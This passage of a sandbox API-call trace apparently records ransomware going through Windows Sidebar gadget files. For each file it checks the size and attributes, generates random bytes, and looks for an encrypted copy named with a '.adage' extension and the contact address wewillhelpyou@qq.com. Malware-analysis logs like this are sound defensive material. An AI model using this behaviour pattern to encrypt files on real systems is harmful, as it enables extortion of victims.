pbBuffer=0x334fce8) returned 1 [0065.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\settings.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0065.029] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3326) returned 1 [0065.029] CloseHandle (hObject=0x198) returned 1 [0065.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\settings.html")) returned 0x20 [0065.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\settings.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\settings.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\settings.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.029] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\icon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0065.030] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=7431) returned 1 [0065.030] CloseHandle (hObject=0x198) returned 1 [0065.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\icon.png")) returned 0x20 [0065.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\icon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\icon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.030] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\16-on-black.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\16-on-black.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0065.032] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4969) returned 1 [0065.032] CloseHandle (hObject=0x198) returned 1 [0065.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\16-on-black.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\16-on-black.gif")) returned 0x20 [0065.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\16-on-black.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\16-on-black.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\16-on-black.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\16-on-black.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.032] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonDown_Off.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttondown_off.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0065.032] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=293) returned 1 [0065.032] CloseHandle (hObject=0x198) returned 1 [0065.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonDown_Off.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttondown_off.png")) returned 0x20 [0065.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonDown_Off.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttondown_off.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonDown_Off.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttondown_off.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.033] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonDown_On.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttondown_on.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0065.034] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=463) returned 1 [0065.034] CloseHandle (hObject=0x198) returned 1 [0065.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonDown_On.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttondown_on.png")) returned 0x20 [0065.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonDown_On.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttondown_on.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonDown_On.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttondown_on.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.034] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonUp_Off.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttonup_off.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0065.034] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=280) returned 1 [0065.034] CloseHandle (hObject=0x198) returned 1 [0065.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonUp_Off.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttonup_off.png")) returned 0x20 [0065.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonUp_Off.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttonup_off.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonUp_Off.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttonup_off.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.035] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonUp_On.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttonup_on.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.664] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=451) returned 1 [0066.664] CloseHandle (hObject=0x184) returned 1 [0066.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonUp_On.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttonup_on.png")) returned 0x20 [0066.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonUp_On.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttonup_on.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonUp_On.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttonup_on.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.665] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0066.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_docked.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.666] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=252) returned 1 [0066.666] CloseHandle (hObject=0x184) returned 1 [0066.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_docked.png")) returned 0x20 [0066.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_docked.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_docked.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_docked.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.667] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0066.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_floating.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_floating.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.667] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2979) returned 1 [0066.667] CloseHandle (hObject=0x184) returned 1 [0066.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_floating.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_floating.png")) returned 0x20 [0066.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_floating.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_floating.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_floating.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_floating.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.667] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0066.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_flyout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_flyout.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0066.868] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2926) returned 1 [0066.868] CloseHandle (hObject=0x194) returned 1 [0066.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_flyout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_flyout.png")) returned 0x20 [0066.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_flyout.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_flyout.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_flyout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_flyout.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.868] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0066.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_hov.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.243] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3077) returned 1 [0067.243] CloseHandle (hObject=0x180) returned 1 [0067.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_hov.png")) returned 0x20 [0067.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_hov.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_hov.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.244] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_down.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.244] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3162) returned 1 [0067.244] CloseHandle (hObject=0x180) returned 1 [0067.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_down.png")) returned 0x20 [0067.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_down.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_down.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.245] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_hov.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.245] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3161) returned 1 [0067.245] CloseHandle (hObject=0x180) returned 1 [0067.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_hov.png")) returned 0x20 [0067.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_hov.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_hov.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_hov.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.246] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_rest.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.246] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2982) returned 1 [0067.246] CloseHandle (hObject=0x180) returned 1 [0067.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_rest.png")) returned 0x20 [0067.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_rest.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_rest.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.247] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\tulip.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.247] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=400256) returned 1 [0067.247] CloseHandle (hObject=0x180) returned 1 [0067.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\tulip.jpg")) returned 0x20 [0067.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\tulip.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\tulip.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.247] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\logo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.248] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=6166) returned 1 [0067.248] CloseHandle (hObject=0x180) returned 1 [0067.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\logo.png")) returned 0x20 [0067.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\logo.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png" (normalized: 